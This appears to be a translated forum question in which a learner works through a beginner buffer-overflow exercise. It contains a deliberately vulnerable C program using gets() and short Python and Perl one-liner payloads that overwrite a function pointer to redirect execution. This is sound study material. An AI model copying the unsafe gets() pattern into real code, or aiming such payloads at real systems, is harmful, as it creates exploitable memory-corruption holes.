Я пытаюсь узнать больше о кибербезопасности, в данном случае о переполнении буфера. У меня есть простой код, который я хочу изменить в потоке:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
Используя некоторые инструменты, я определил, что указатель функции (fp) обновляет свое значение после 72 символов, введенных в буфер. Функция win()
расположена в значении 0xe5894855
, поэтому после 72 символов мне нужно предоставить это значение в буфер для перехода к нужной функции.
Однако я сталкиваюсь с этой проблемой:
Путем помещения print("A"*18*4 + "UH" + "\x89" + "\xe5")
Python3 на вход данного кода C, я должен получить желаемое значение 0xe5894855
в секции, отмеченной красным. Но вместо этого я получаю выделенный искаженный гекс откуда-то. (89 получает дополнительный C2, и неправильное значение e5 переполняется до следующей части стека) (значение в этих частях стека изначально равно нулю, но изменяется при попытке переполнения).
Почему это происходит? Неправильно ли я помещаю шестнадцатеричные значения в программу на C?
Редактировать: До сих пор не выяснил, почему не работает передача шестнадцатеричных значений через python, но я нашел другой метод с использованием Perl: perl -e 'print "A"x4x18 . "\x55\x48\x89\xe5"'
, который работали адрес, к которому мне нужно было перейти, также был неверным (который я также исправил)